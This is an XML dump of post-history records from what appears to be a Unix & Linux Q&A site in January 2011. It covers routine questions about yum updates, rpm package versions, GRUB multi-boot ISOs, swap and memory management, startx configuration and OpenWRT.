  <row Id="14240" PostHistoryTypeId="1" PostId="6259" RevisionGUID="3f12bcfb-3116-4f57-a5b4-e7dc785582da" CreationDate="2011-01-21T20:35:12.193" UserId="29" Text="Are there any apps that will post to multiple social networking accounts at once?" />
  <row Id="14241" PostHistoryTypeId="3" PostId="6259" RevisionGUID="3f12bcfb-3116-4f57-a5b4-e7dc785582da" CreationDate="2011-01-21T20:35:12.193" UserId="29" Text="élinuxàésoftwareörecà" />
  <row Id="14242" PostHistoryTypeId="6" PostId="6259" RevisionGUID="c822828e-18f2-46b4-af50-725ab75345ee" CreationDate="2011-01-21T20:40:35.197" UserId="885" Comment="edited tags" Text="ésoftwareörecàéwebàésocialönetworkingà" />
  <row Id="14243" PostHistoryTypeId="5" PostId="6257" RevisionGUID="6597c027-cc50-4ce5-a3c2-683b7583b989" CreationDate="2011-01-21T20:46:10.513" UserId="688" Comment="added 62 characters in body; added 1148 characters in body; added 54 characters in body" Text="I last updated my Fedora 14 install weeks ago, so I expected a slew of new packages waiting for me, but after I run `yum update`, I instead get:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    Setting up Update Process&#xD;&#xA;    No Packages marked for Update&#xD;&#xA;&#xD;&#xA;**update**:&#xD;&#xA;&#xD;&#xA;`rpm -qi sudo` gives version **1.7.4p4**&#xD;&#xA;&#xD;&#xA;`yum -v repolist` gives:&#xD;&#xA;&#xD;&#xA;    Loading &quot;langpacks&quot; plugin&#xD;&#xA;    Loading &quot;presto&quot; plugin&#xD;&#xA;    Loading &quot;refresh-packagekit&quot; plugin&#xD;&#xA;    Adding en_US to language list&#xD;&#xA;    Config time: 0.074&#xD;&#xA;    Yum Version: 3.2.28&#xD;&#xA;    Setting up Package Sacks&#xD;&#xA;    pkgsack time: 0.174&#xD;&#xA;    Repo-id      : fedora&#xD;&#xA;    Repo-name    : Fedora 14 - i386&#xD;&#xA;    Repo-revision: 1287926872&#xD;&#xA;    Repo-tags    : binary-i386&#xD;&#xA;    Repo-distro-tags: [cpe:/o:fedoraproject:fedora:14]: rawhide&#xD;&#xA;    Repo-updated : Sun Oct 24 15:44:32 2010&#xD;&#xA;    Repo-pkgs    : 17,883&#xD;&#xA;    Repo-size    : 20 G&#xD;&#xA;    Repo-metalink: https://mirrors.fedoraproject.org/metalink?repo=fedora-14&amp;arch=i386&#xD;&#xA;      Updated    : Sun Oct 24 15:44:32 2010&#xD;&#xA;	Repo-expire  : 604,800 second(s) (last: Thu Jan 13 20:00:21 2011)&#xD;&#xA;&#xD;&#xA;	Repo-id      : updates&#xD;&#xA;	Repo-name    : Fedora 14 - i386 - Updates&#xD;&#xA;	Repo-revision: 1295548217&#xD;&#xA;	Repo-tags    : binary-i386&#xD;&#xA;	Repo-updated : Thu Jan 20 21:32:10 2011&#xD;&#xA;	Repo-pkgs    : 4,500&#xD;&#xA;	Repo-size    : 7.2 G&#xD;&#xA;	Repo-metalink: https://mirrors.fedoraproject.org/metalink?repo=updates-released-f14&amp;arch=i386&#xD;&#xA;	  Updated    : Thu Jan 20 21:32:10 2011&#xD;&#xA;	Repo-expire  : 21,600 second(s) (last: Thu Jan 13 20:00:49 2011)&#xD;&#xA;&#xD;&#xA;	repolist: 22,383&#xD;&#xA;" />
  <row Id="14244" PostHistoryTypeId="5" PostId="6252" RevisionGUID="c5d66d64-c934-4c14-9367-1d6f167795da" CreationDate="2011-01-21T20:55:12.780" UserId="688" Comment="deleted 1 characters in body; added 3 characters in body" Text="Debian's `apt-get update` fetches and updates the package index. Because I'm used to this way of doing things, I was surprised  to find that `yum update` does all that **and** upgrades the system. This made me curious of how to update the package index without installing anything." />
  <row Id="14245" PostHistoryTypeId="2" PostId="6260" RevisionGUID="4cb030e9-5e3e-45d6-a68b-1fd464c73b6c" CreationDate="2011-01-21T20:56:06.540" UserId="3069" Text="Your repository cache is out of date, clean it and execute the update again:&#xD;&#xA;&#xD;&#xA;    yum clean expire-cache&#xD;&#xA;    yum update" />
  <row Id="14246" PostHistoryTypeId="2" PostId="6261" RevisionGUID="31ea45e6-1424-47a4-acb4-66f0927fa38c" CreationDate="2011-01-21T21:05:46.907" UserId="3895" Text="I used [instructions][1] from PenDriveLinux.com to create a multiple-boot USB drive with some ISO images on it. I used Xubuntu 10.10 Desktop image and a Linux Mint 9 XFCE image. I was able to boot either of the two operating systems. Each one booted directly to the desktop however.&#xD;&#xA;&#xD;&#xA;If I boot *Ubuntu from an ISO image which has been &quot;burned&quot; to a CD or a USB, I am presented with a menu prompting me to install or try the OS, test memory, etc.&#xD;&#xA;&#xD;&#xA;Why does booting from the ISO go directly to the desktop, whereas the other method presents the OS menu first?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pendrivelinux.com/boot-multiple-iso-from-usb-via-grub2-using-linux/" />
  <row Id="14247" PostHistoryTypeId="1" PostId="6261" RevisionGUID="31ea45e6-1424-47a4-acb4-66f0927fa38c" CreationDate="2011-01-21T21:05:46.907" UserId="3895" Text="Multiple-boot from ISO files directly does not show OS menu" />
  <row Id="14248" PostHistoryTypeId="3" PostId="6261" RevisionGUID="31ea45e6-1424-47a4-acb4-66f0927fa38c" CreationDate="2011-01-21T21:05:46.907" UserId="3895" Text="égrubàédualöbootàéisoà" />
  <row Id="14249" PostHistoryTypeId="2" PostId="6262" RevisionGUID="ba1aabe4-e051-4c02-9f6c-d9433e898fb6" CreationDate="2011-01-21T21:09:09.847" UserId="1131" Text="My favourite moment was, when a co-worker, who is an emacs user, wanted to edit an important file. &#xD;&#xA;&#xD;&#xA;Because `emacs` is too much to type he had setup an alias for `emacs`:&#xD;&#xA;&#xD;&#xA;    alias em=emacs&#xD;&#xA;&#xD;&#xA;Under the influence of not enough or too much coffee he of course mis-typed `em` ...&#xD;&#xA;&#xD;&#xA;Well, this is just another reason to use `vi` ... ;)" />
  <row Id="14250" PostHistoryTypeId="5" PostId="6259" RevisionGUID="bee1cab3-52fa-44ce-8b74-fe916c3c28ae" CreationDate="2011-01-21T21:19:52.603" UserId="29" Comment="right -&gt; write (that's twice today ugh)" Text="I currently use [Ping.fm](http://ping.fm) to post to multiple social networks at once, but it's been irritating me for a while and I'm thinking of writing a tool to replace it for myself. But I figure it's possible that someone has already done that. To be a suitable replacement it needs to handle twitter, and facebook; myspace, linkedin, and google buzz are a bonus, of course everything else is frosting. In addition to allowing *me* to send messages it must also be able to read multiple rss feeds and aggregate them to the networks I set up. If 2 or more tools, in conjunction can be made to do this that is also acceptable, e.g. `feedreader | cleanupforstream | post2stream`.&#xD;&#xA;&#xD;&#xA;If it doesn't exist I think I'll just write some Perl to do it for me, and put it on CPAN." />
  <row Id="14251" PostHistoryTypeId="2" PostId="6263" RevisionGUID="d412a2a0-479f-4f5f-ad19-d6a640151b4f" CreationDate="2011-01-21T21:20:22.920" UserId="688" Text="If I want to check available versions of a package in Debian, I run `apt-cache policy pkgname` which in the case of `wajig` gives:&#xD;&#xA;&#xD;&#xA;    wajig:&#xD;&#xA;      Installed: 2.01&#xD;&#xA;      Candidate: 2.01&#xD;&#xA;      Version table:&#xD;&#xA;     *** 2.01 0&#xD;&#xA;            100 /var/lib/dpkg/status&#xD;&#xA;         2.0.47 0&#xD;&#xA;            500 file:/home/wena/.repo_bin/ squeeze/main i386 Packages&#xD;&#xA;            500 ftp://ftp.is.co.za/debian/ squeeze/main i386 Packages&#xD;&#xA;&#xD;&#xA;That means that there are three wajig packages, one in my cache, and two others (which are the same version). One of these two is in a local repository and the other is available from a remote repository.&#xD;&#xA;&#xD;&#xA;How do I achieve a similar result on rpm systems?" />
  <row Id="14252" PostHistoryTypeId="1" PostId="6263" RevisionGUID="d412a2a0-479f-4f5f-ad19-d6a640151b4f" CreationDate="2011-01-21T21:20:22.920" UserId="688" Text="How to check available package versions in rpm systems?" />
  <row Id="14253" PostHistoryTypeId="3" PostId="6263" RevisionGUID="d412a2a0-479f-4f5f-ad19-d6a640151b4f" CreationDate="2011-01-21T21:20:22.920" UserId="688" Text="épackageömanagementàérpmà" />
  <row Id="14254" PostHistoryTypeId="4" PostId="6261" RevisionGUID="53a13a65-7555-406b-9164-ed8270982862" CreationDate="2011-01-21T21:21:10.153" UserId="3895" Comment="edited title" Text="Multiple-boot from ISO files does not show OS menu" />
  <row Id="14255" PostHistoryTypeId="2" PostId="6264" RevisionGUID="b87e058b-a0a1-43e7-8c1f-11fb3b5ebbf5" CreationDate="2011-01-21T21:40:14.817" UserId="4014" Text="To query the available packages, you can do `urpmq --sources YOURPACKAGE`&#xD;&#xA;This is Mandriva-specific (I only know Mandriva).&#xD;&#xA;&#xD;&#xA;If you want to know the version of an installed package : `rpm -q YOURPACKAGE`&#xD;&#xA;This works on all RPM systems.&#xD;&#xA;&#xD;&#xA;On RedHat/Fedora, see yum.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14256" PostHistoryTypeId="2" PostId="6265" RevisionGUID="b0592367-f250-459a-91ee-e10db151af58" CreationDate="2011-01-21T21:44:49.770" UserId="1822" Text="CENTOS 5.x | Sendmail&#xD;&#xA;&#xD;&#xA;Hello All, &#xD;&#xA;&#xD;&#xA;I hope this is a simple question. =) I need to generate a report summary of messages that triggered a specific DSN code.   For example: &#xD;&#xA;&#xD;&#xA;    Jan 11 07:43:34 server-example sendmail[12732]: p937blksdh3: to=&lt;someuser@recipientdomain.com&gt;, delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=102537, relay=mta.recipientdomain.com. [12.34.56.78], dsn=5.7.1, stat=Service unavailable&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Normally, I would just grep for this information (something like: **grep -i &quot;dsn=5.7.1&quot; /var/log/maillog**).  But the problem is that this only returns a line like above and doesn't tell me the sender of the message. &#xD;&#xA;&#xD;&#xA;Ideally, I'm looking for a one-liner that can do the following: &#xD;&#xA;&#xD;&#xA;  1. Search sendmail maillog for specific DSN. &#xD;&#xA;  2. Identify the message-id for the email. (I'm guessing **awk '{print $}'** would be used?) &#xD;&#xA;  3. Return the message details for each (presumably grepping for the the message id retrieved from step 2). &#xD;&#xA;&#xD;&#xA;I'm a n00b at scripting/one-liners so I'm sure there's probably an easier way to do this.  Any thoughts? &#xD;&#xA;&#xD;&#xA;Thanks, &#xD;&#xA;&#xD;&#xA;-M &#xD;&#xA;&#xD;&#xA;" />
  <row Id="14257" PostHistoryTypeId="1" PostId="6265" RevisionGUID="b0592367-f250-459a-91ee-e10db151af58" CreationDate="2011-01-21T21:44:49.770" UserId="1822" Text="How to generate a report summary of messages that triggered a specific DSN code." />
  <row Id="14258" PostHistoryTypeId="3" PostId="6265" RevisionGUID="b0592367-f250-459a-91ee-e10db151af58" CreationDate="2011-01-21T21:44:49.770" UserId="1822" Text="élinuxàécentosàégrepàésendmailà" />
  <row Id="14259" PostHistoryTypeId="2" PostId="6266" RevisionGUID="a4c6a219-9977-48b6-b1d7-24910f980684" CreationDate="2011-01-21T21:46:24.033" UserId="3069" Text="`yum` provides the command `list` to display information about installed and upgradeable packages.  &#xD;&#xA;View version information about one specific package:&#xD;&#xA;&#xD;&#xA;    yum list &lt;package&gt;&#xD;&#xA;" />
  <row Id="14260" PostHistoryTypeId="5" PostId="6266" RevisionGUID="89450fd1-7427-46cf-9568-4705e86eb976" CreationDate="2011-01-21T22:04:52.613" UserId="3069" Comment="added 189 characters in body" Text="`yum` provides the command `list` to display information about installed and upgradeable packages.  &#xD;&#xA;View version information about one specific package:&#xD;&#xA;&#xD;&#xA;    yum list &lt;package&gt;&#xD;&#xA;&#xD;&#xA;Sadly, `zypper` does not provide this feature.&#xD;&#xA;&#xD;&#xA;As a side-note, [here][1] is a comparison of package-management commands.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Pacman_Rosetta" />
  <row Id="14264" PostHistoryTypeId="2" PostId="6267" RevisionGUID="da413aa0-609a-4f80-ae61-83dda52b2fb8" CreationDate="2011-01-21T22:24:20.563" UserId="4030" Text="Hi,&#xD;&#xA;&#xD;&#xA;If my desktop run out of memory and swaps a lot then I free or kill the application wasting my RAM. But, after that, all my desktop/applications have been swapped and are horribly slow, do you know a way to &quot;unswap&quot; my desktop/applications ?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="14265" PostHistoryTypeId="1" PostId="6267" RevisionGUID="da413aa0-609a-4f80-ae61-83dda52b2fb8" CreationDate="2011-01-21T22:24:20.563" UserId="4030" Text="howto to &quot;unswap&quot; my desktop" />
  <row Id="14266" PostHistoryTypeId="3" PostId="6267" RevisionGUID="da413aa0-609a-4f80-ae61-83dda52b2fb8" CreationDate="2011-01-21T22:24:20.563" UserId="4030" Text="éswapàédesktopà" />
  <row Id="14267" PostHistoryTypeId="2" PostId="6268" RevisionGUID="176cace4-4184-4130-ac2f-755426666333" CreationDate="2011-01-21T22:30:42.710" UserId="1131" Text="If you really have enough RAM available again you can use this sequence (as root):&#xD;&#xA;&#xD;&#xA;    $ swapoff -a&#xD;&#xA;    $ swapon -a&#xD;&#xA;&#xD;&#xA;(to force the explicit swap-in of all your applications)&#xD;&#xA;&#xD;&#xA;(assuming that you are using linux)" />
  <row Id="14268" PostHistoryTypeId="4" PostId="6267" RevisionGUID="b3bff3ac-6712-4f1b-b7da-d601b2ae4702" CreationDate="2011-01-21T22:31:07.993" UserId="4030" Comment="edited title" Text="how to &quot;unswap&quot; my desktop" />
  <row Id="14269" PostHistoryTypeId="25" PostId="6267" RevisionGUID="c183e830-7264-4d0a-a8b8-139185437fda" CreationDate="2011-01-21T22:55:46.937" Comment="http://twitter.com/#!/StackUnix/status/28586581778497536" />
  <row Id="14270" PostHistoryTypeId="2" PostId="6269" RevisionGUID="8d5b3e51-6e4d-45ee-97ea-6accd62604c5" CreationDate="2011-01-21T23:16:49.967" UserId="3852" Text="swapon/swapoff will completely clear your swap space, but you can free some of it via the /proc file system too. You want the first one:&#xD;&#xA;&#xD;&#xA;    # To free pagecache&#xD;&#xA;    echo 1 &gt; /proc/sys/vm/drop_caches&#xD;&#xA;&#xD;&#xA;    # To free dentries and inodes&#xD;&#xA;    echo 2 &gt; /proc/sys/vm/drop_caches&#xD;&#xA;&#xD;&#xA;    # To free pagecache, dentries and inodes&#xD;&#xA;    echo 3 &gt; /proc/sys/vm/drop_caches&#xD;&#xA;&#xD;&#xA;via http://linux-mm.org/Drop_Caches&#xD;&#xA;" />
  <row Id="14271" PostHistoryTypeId="2" PostId="6270" RevisionGUID="0e1d872d-dcb1-4b2c-9d9c-543c7583ac54" CreationDate="2011-01-21T23:40:07.177" UserId="4053" Text="If your system time/date has reverted to January 1, 1970 or something ancient like that then your computers entire SSL infrastructure will temporarily be broken. &#xD;&#xA;&#xD;&#xA;Connecting to software repositories usually is done over an SSL connection these days to prevent someone from doing a man-in-the-middle intercept attack.&#xD;&#xA;&#xD;&#xA;Simply set your system date to be correct and downloading and updating software will magically resume working." />
  <row Id="14272" PostHistoryTypeId="2" PostId="6271" RevisionGUID="93b10528-a66e-4993-989c-19fd14e41495" CreationDate="2011-01-22T00:47:08.400" UserId="885" Text="The following quick-and-dirty python script dumps the memory of a process to stdout. This has the side effect of loading any swapped out page or mapped file. Call it as `cat_proc_mem 123 456 789` where the arguments are process IDs.&#xD;&#xA;&#xD;&#xA;This script is completely specific to Linux. It may be adaptable to other systems with a similar `/proc` structure (Solaris?), but forget about running it on e.g. *BSD. Even on Linux, you may need to change the definition of `c_pid_t` and the values of `PTRACE_ATTACH` and `PTRACE_DETACH`. This is a proof-of-principle script, not meant as an example of good programming practices. Use at your own risk.&#xD;&#xA;&#xD;&#xA;Linux makes the memory of a process available as `/proc/$pid/mem`. Only certain address ranges are readable. These ranges can be found by reading the memory mapping information from the text file `/proc/$pid/maps`. The pseudo-file `/proc/$pid/mem` cannot be read by all processes that have the permission to read it: the reader process must have called `ptrace(PTRACE_ATTACH, $pid)`.&#xD;&#xA;&#xD;&#xA;    #! /usr/bin/env python&#xD;&#xA;    import ctypes, re, sys&#xD;&#xA;    &#xD;&#xA;    ## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.&#xD;&#xA;    c_ptrace = ctypes.CDLL(&quot;libc.so.6&quot;).ptrace&#xD;&#xA;    c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t&#xD;&#xA;    c_ptrace.argtypes = [ctypes.c_int, c_pid_t, ctypes.c_void_p, ctypes.c_void_p]&#xD;&#xA;    def ptrace(attach, pid):&#xD;&#xA;        op = ctypes.c_int(16 if attach else 17) #PTRACE_ATTACH or PTRACE_DETACH&#xD;&#xA;        c_pid = c_pid_t(pid)&#xD;&#xA;        null = ctypes.c_void_p()&#xD;&#xA;        err = c_ptrace(op, c_pid, null, null)&#xD;&#xA;        if err != 0: raise SysError, 'ptrace', err&#xD;&#xA;    &#xD;&#xA;    ## Parse a line in /proc/$pid/maps. Return the boundaries of the chunk&#xD;&#xA;    ## the read permission character.&#xD;&#xA;    def maps_line_range(line):&#xD;&#xA;        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)&#xD;&#xA;        return [int(m.group(1), 16), int(m.group(2), 16), m.group(3)]&#xD;&#xA;    &#xD;&#xA;    ## Dump the readable chunks of memory mapped by a process&#xD;&#xA;    def cat_proc_mem(pid):&#xD;&#xA;        ## Apparently we need to ptrace(PTRACE_ATTACH, $pid) to read /proc/$pid/mem&#xD;&#xA;        ptrace(True, int(pid))&#xD;&#xA;        ## Read the memory maps to see what address ranges are readable&#xD;&#xA;        maps_file = open(&quot;/proc/&quot; + pid + &quot;/maps&quot;, 'r')&#xD;&#xA;        ranges = map(maps_line_range, maps_file.readlines())&#xD;&#xA;        maps_file.close()&#xD;&#xA;        ## Read the readable mapped ranges&#xD;&#xA;        mem_file = open(&quot;/proc/&quot; + pid + &quot;/mem&quot;, 'r', 0)&#xD;&#xA;        for r in ranges:&#xD;&#xA;            if r[2] == 'r':&#xD;&#xA;                mem_file.seek(r[0])&#xD;&#xA;                chunk = mem_file.read(r[1] - r[0])&#xD;&#xA;                print chunk,&#xD;&#xA;        mem_file.close()&#xD;&#xA;        ## Cleanup&#xD;&#xA;        ptrace(False, int(pid))&#xD;&#xA;    &#xD;&#xA;    if __name__ == &quot;__main__&quot;:&#xD;&#xA;        for pid in sys.argv[1:]:&#xD;&#xA;            cat_proc_mem(pid)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14273" PostHistoryTypeId="6" PostId="6267" RevisionGUID="3685b82f-5918-4658-aacb-c017b5625826" CreationDate="2011-01-22T00:47:40.053" UserId="885" Comment="edited tags" Text="élinuxàémemoryàéswapàédesktopà" />
  <row Id="14274" PostHistoryTypeId="2" PostId="6272" RevisionGUID="3e6cc2a3-df17-4dd9-91bf-78b8982b29a1" CreationDate="2011-01-22T01:34:03.337" UserId="1207" Text="[Gwibber][1] has the ability to send to multiple services at once.  According to their website it supports the following protocols/services:&#xD;&#xA;&#xD;&#xA; - Twitter &#xD;&#xA; - Identi.ca/StatusNet &#xD;&#xA; - Ping.fm&#xD;&#xA; - Facebook&#xD;&#xA; - FriendFeed&#xD;&#xA; - Buzz&#xD;&#xA; - Digg &#xD;&#xA; - Flickr&#xD;&#xA; - Qaiku&#xD;&#xA;&#xD;&#xA;As far as I know, it has the ability to receive content from all of the listed services, but I'm not sure if there is a way to receive arbitrary RSS feeds.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gwibber.com/" />
  <row Id="14275" PostHistoryTypeId="25" PostId="6265" RevisionGUID="76fa17dd-e660-4fa0-8092-37a8c9bc2430" CreationDate="2011-01-22T01:55:46.533" Comment="http://twitter.com/#!/StackUnix/status/28631878701424641" />
  <row Id="14276" PostHistoryTypeId="2" PostId="6273" RevisionGUID="1607cd78-1058-49b0-b391-5d72f4a36a21" CreationDate="2011-01-22T02:16:46.957" UserId="885" Text="It's due to the bootloader setup on the potentially-multi-boot USB drive. The [Grub configuration](http://pendrivelinux.com/downloads/multibootlinux/grub.cfg) for the drive is set up to boot the various OSes directly: it contains entries like&#xD;&#xA;&#xD;&#xA;    menuentry &quot;Ubuntu 10.10 Desktop ISO&quot; {&#xD;&#xA;     loopback loop /ubuntu.iso&#xD;&#xA;     linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=/ubuntu.iso noeject noprompt splash --&#xD;&#xA;     initrd (loop)/casper/initrd.lz&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Such an entry boots directly into the indicated operating system, bypassing the bootloader inside the ISO.&#xD;&#xA;&#xD;&#xA;I think it would be possible to switch to a different configuration file with `configfile (loop)/path/to/grub.cfg`, if the bootloader inside the ISO is also Grub2 (which is not so common on CDs). Loading the bootloader inside the ISO would be difficult, as the bootloader would have to understand where to find its components.&#xD;&#xA;" />
  <row Id="14277" PostHistoryTypeId="2" PostId="6274" RevisionGUID="1e49b0ce-43e1-4608-8f47-952e308e071b" CreationDate="2011-01-22T03:34:13.370" UserId="250" Text="I don't have a desktop manager installed (and I don't want to). After logging in through the terminal I use `startx` to start the GUI. I have entries in `~/.xinitrc` for my GUI sessions. Right now I have xmonad in there, but sometimes I want to run a GNOME session, and sometimes a KDE session. I used to edit `~/.xinitrc` for that purpose, but I think there should be a more elegant way (something like using alternate configurations). However, I can't find anything in `man startx` or `man xinit`.&#xD;&#xA;&#xD;&#xA;I plan to have several configuration files (one for each GUI session), and then tell `startx` to load them when I want. How can I do that?" />
  <row Id="14278" PostHistoryTypeId="1" PostId="6274" RevisionGUID="1e49b0ce-43e1-4608-8f47-952e308e071b" CreationDate="2011-01-22T03:34:13.370" UserId="250" Text="How to make startx use alternate xinitrc?" />
  <row Id="14279" PostHistoryTypeId="3" PostId="6274" RevisionGUID="1e49b0ce-43e1-4608-8f47-952e308e071b" CreationDate="2011-01-22T03:34:13.370" UserId="250" Text="éguiàércà" />
  <row Id="14280" PostHistoryTypeId="2" PostId="6275" RevisionGUID="3005df16-f8e2-49e6-975c-b9478e92a057" CreationDate="2011-01-22T04:19:06.197" UserId="3629" Text="According to the [`xinit` man page][1] that I read, `xinit` (and thereby `startx`) looks in its command line parameters for a client program to run.  If it doesn't find one, it runs `~/.xinitrc` instead.  So if I'm reading things right, you should be able to write&#xD;&#xA;&#xD;&#xA;    startx path/to/my_alternate_xinitrc&#xD;&#xA;&#xD;&#xA;and it will do what you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/xinit" />
  <row Id="14281" PostHistoryTypeId="5" PostId="6275" RevisionGUID="fbd2a116-02ad-4f86-a433-4bde1c639b10" CreationDate="2011-01-22T04:28:32.453" UserId="3629" Comment="added 116 characters in body" Text="According to the [`xinit` man page][1] that I read, `xinit` (and thereby `startx`) looks in its command line parameters for a client program to run.  If it doesn't find one, it runs `~/.xinitrc` instead.  So you should be able to write&#xD;&#xA;&#xD;&#xA;    startx path/to/my_alternate_xinitrc&#xD;&#xA;&#xD;&#xA;and it will do what you want.  You will need to provide a path, though, and not just a filename.  In my testing, `startx ./my_xinitrc` worked but `startx my_xinitrc` did not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/xinit" />
  <row Id="14282" PostHistoryTypeId="25" PostId="6274" RevisionGUID="23f166b2-ba69-45a2-a92e-c3778c6eedb5" CreationDate="2011-01-22T04:55:46.813" Comment="http://twitter.com/#!/StackUnix/status/28677178178670592" />
  <row Id="14283" PostHistoryTypeId="25" PostId="6259" RevisionGUID="ce5589df-bc60-45c1-b7ab-3b28156a1056" CreationDate="2011-01-22T07:55:46.627" Comment="http://twitter.com/#!/StackUnix/status/28722475961425920" />
  <row Id="14284" PostHistoryTypeId="5" PostId="6261" RevisionGUID="53931b2c-ed48-46ad-98b4-fc26cc200f6a" CreationDate="2011-01-22T08:11:47.363" UserId="3895" Comment="added 245 characters in body" Text="I used [instructions][1] from PenDriveLinux.com to create a multiple-boot USB drive with some ISO images on it. I used Xubuntu 10.10 Desktop image and a Linux Mint 9 XFCE image. I was able to boot either of the two operating systems. Each one booted directly to the desktop however.  &#xD;&#xA;&#xD;&#xA;If I boot *Ubuntu from an ISO image which has been &quot;burned&quot; to a CD or a USB, I am presented with a menu prompting me to install or try the OS, test memory, etc.  &#xD;&#xA;&#xD;&#xA;Why does booting from the ISO go directly to the desktop, whereas the other method presents the OS menu first?  &#xD;&#xA;&#xD;&#xA;**Update**  &#xD;&#xA;&#xD;&#xA;    menuentry &quot;Ubuntu 10.10 Desktop ISO&quot; {&#xD;&#xA;     loopback loop /ubuntu.iso&#xD;&#xA;     linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=/ubuntu.iso noeject noprompt splash --&#xD;&#xA;     initrd (loop)/casper/initrd.lz&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pendrivelinux.com/boot-multiple-iso-from-usb-via-grub2-using-linux/" />
  <row Id="14285" PostHistoryTypeId="2" PostId="6276" RevisionGUID="e75a6c52-7581-4b8f-8a43-9dc342afe418" CreationDate="2011-01-22T08:20:45.820" UserId="29" Text="Every time I go to upgrade OpenWRT on my router I have to look up how, and it's always a pain finding the command listing. Could someone provide the directions here?" />
  <row Id="14286" PostHistoryTypeId="1" PostId="6276" RevisionGUID="e75a6c52-7581-4b8f-8a43-9dc342afe418" CreationDate="2011-01-22T08:20:45.820" UserId="29" Text="How do I upgrade OpenWRT?" />
  <row Id="14287" PostHistoryTypeId="3" PostId="6276" RevisionGUID="e75a6c52-7581-4b8f-8a43-9dc342afe418" CreationDate="2011-01-22T08:20:45.820" UserId="29" Text="élinuxàécommandölineàéupgradeàéopenwrtà" />
  <row Id="14288" PostHistoryTypeId="2" PostId="6277" RevisionGUID="cb1116f5-b92d-4dbf-bde2-9a69069f66ba" CreationDate="2011-01-22T08:51:43.337" UserId="29" Text="What distro's exist that are designed for routers? Please include the following&#xD;&#xA;&#xD;&#xA;* link to the project page&#xD;&#xA;* link to supported hardware list&#xD;&#xA;* what distinguishes them, why pick this option&#xD;&#xA;* which kernels are supported?&#xD;&#xA;* friendly web interface?&#xD;&#xA;* above friendly interface easily disabled?&#xD;&#xA;* package management for software not initially installed? (e.g. ipkg/opkg)&#xD;&#xA;* good documentation?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14289" PostHistoryTypeId="1" PostId="6277" RevisionGUID="cb1116f5-b92d-4dbf-bde2-9a69069f66ba" CreationDate="2011-01-22T08:51:43.337" UserId="29" Text="Open Source router firmware options?" />
  <row Id="14290" PostHistoryTypeId="3" PostId="6277" RevisionGUID="cb1116f5-b92d-4dbf-bde2-9a69069f66ba" CreationDate="2011-01-22T08:51:43.337" UserId="29" Text="élinuxàédistrosàéembeddedàébsdà" />
  <row Id="14291" PostHistoryTypeId="5" PostId="6276" RevisionGUID="59435198-9f73-4b1c-94a8-69cfdfee00da" CreationDate="2011-01-22T09:05:15.670" UserId="29" Comment="decided I don't want an upgrade but a reimage" Text="How do I reimage openwrt in such a way that all my settings will be lost. I've been having some issues, and I want to ensure that it's not a lingering setting, I want this to be a fresh install." />
  <row Id="14292" PostHistoryTypeId="4" PostId="6276" RevisionGUID="59435198-9f73-4b1c-94a8-69cfdfee00da" CreationDate="2011-01-22T09:05:15.670" UserId="29" Comment="decided I don't want an upgrade but a reimage" Text="How do I reimage OpenWRT?" />
  <row Id="14293" PostHistoryTypeId="6" PostId="6276" RevisionGUID="59435198-9f73-4b1c-94a8-69cfdfee00da" CreationDate="2011-01-22T09:05:15.670" UserId="29" Comment="decided I don't want an upgrade but a reimage" Text="élinuxàécommandölineàéopenwrtà" />
  <row Id="14294" PostHistoryTypeId="2" PostId="6278" RevisionGUID="08bc32ea-4e9f-46bc-9f80-69c630c5be99" CreationDate="2011-01-22T09:35:56.603" UserId="1707" Text="I can't seem to shutdown my machine from mandriva,I have to restart to shut it down from GRUB&#xD;&#xA;&#xD;&#xA;it says &quot;System Halted&quot; and just freezes there&#xD;&#xA;&#xD;&#xA;I'm using the x86_64 GNOME version&#xD;&#xA;&#xD;&#xA;I've already asked on mandriva forums and they couldn't determine the cause of this problem&#xD;&#xA;&#xD;&#xA;P.S. I'm using the 2.6.36.2-desktop-2mnb kernel" />
  <row Id="14295" PostHistoryTypeId="1" PostId="6278" RevisionGUID="08bc32ea-4e9f-46bc-9f80-69c630c5be99" CreationDate="2011-01-22T09:35:56.603" UserId="1707" Text="Can't shutdown mandriva 2010.2" />
  <row Id="14296" PostHistoryTypeId="3" PostId="6278" RevisionGUID="08bc32ea-4e9f-46bc-9f80-69c630c5be99" CreationDate="2011-01-22T09:35:56.603" UserId="1707" Text="ékernelàéshutdownàémandrivaà" />
  <row Id="14297" PostHistoryTypeId="5" PostId="6266" RevisionGUID="f535035d-40aa-42d0-b23c-750180f1e31c" CreationDate="2011-01-22T09:49:10.633" UserId="3069" Comment="added 82 characters in body; added 10 characters in body" Text="**yum**&#xD;&#xA;&#xD;&#xA;Provides the command `list` to display information about installed and upgradeable package.&#xD;&#xA;&#xD;&#xA;    yum list &lt;package&gt;&#xD;&#xA;&#xD;&#xA;**zypper**&#xD;&#xA;&#xD;&#xA;Can return a detailed list of available and installed packages or patches.&#xD;&#xA;&#xD;&#xA;    zypper search -s &lt;package&gt;&#xD;&#xA;&#xD;&#xA;Adding `--exact-match` can help, if there are multiple packages.&#xD;&#xA;&#xD;&#xA;As a side-note, [here][1] is a comparison of package-management commands.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Pacman_Rosetta" />
